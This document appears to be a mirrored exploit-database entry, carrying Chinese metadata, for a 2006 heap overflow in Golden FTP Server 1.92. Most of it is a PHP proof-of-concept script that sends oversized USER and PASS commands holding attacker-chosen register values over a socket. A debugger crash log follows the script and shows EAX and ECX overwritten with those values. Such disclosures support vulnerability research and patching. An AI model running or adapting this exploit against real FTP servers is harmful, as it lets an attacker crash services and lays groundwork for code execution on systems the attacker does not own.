Golden FTP server 1.92 - 'USER/PASS' Heap Overflow (PoC)

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漏洞ID 1056109 漏洞类型
发布时间 2006-12-11 更新时间 2006-12-11
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/2916
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
<?php
#23.07 03/12/2006
#Golden FTP server 1.92 (freeware edition) USER/PASS heap based overflow poc
#by rgod  retrog at alice dot it
#site: http://retrogod.altervista.org

#download link: http://www.download.com/3000-2160_4-10375602.html?tag=sd.EXAF

$host="192.168.1.3";
$port="21";

$junk="";
for ($i=1; $i<=8095; $i++){
    $junk.="a";
}

$eax="AAAA";
$eax[0]=chr(ord($eax)-20); //to have the wanted eax
$ecx="BBBB";

$junk.=$ecx.$eax;

$sock=@fsockopen($host,$port,$errno, $errstr, 10);
if (!$sock){
   die("\nnot connected!\n");
}
else {
   fgets($sock,80);
   fputs($sock,"USER ".$junk."\r\n");
   fgets($sock,80);
   fputs($sock,"PASS ".$junk."\r\n");
   fclose($sock);
}
/*
...
17:07:28.144  pid=0870 tid=1128  EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [41414141])
              ----------------------------------------------------------------
              EAX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              ECX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              EDX=00EBFD64: C4 9D A6 00 F4 BF A5 00-00 9F A6 00 BC FD EB 00
              ESP=00EBFD1C: 00 00 00 00 58 FD EB 00-61 24 41 00 80 9F A6 00
              EBP=00EBFD20: 58 FD EB 00 61 24 41 00-80 9F A6 00 F4 BF A5 00
              ESI=004B9F04: 2D 41 41 41 00 00 00 00-00 00 00 00 00 00 00 00
              EDI=004B9F00: 42 42 42 42 2D 41 41 41-00 00 00 00 00 00 00 00
              EIP=004A9B74: 8B 00 8B 12 E8 5F F6 FD-FF 0F 94 C0 83 E0 01 5B
                            --> MOV EAX,[EAX]
              ----------------------------------------------------------------

17:07:28.254  pid=0870 tid=1128  Thread exited with code 0
...
*/
?>

# milw0rm.com [2006-12-11]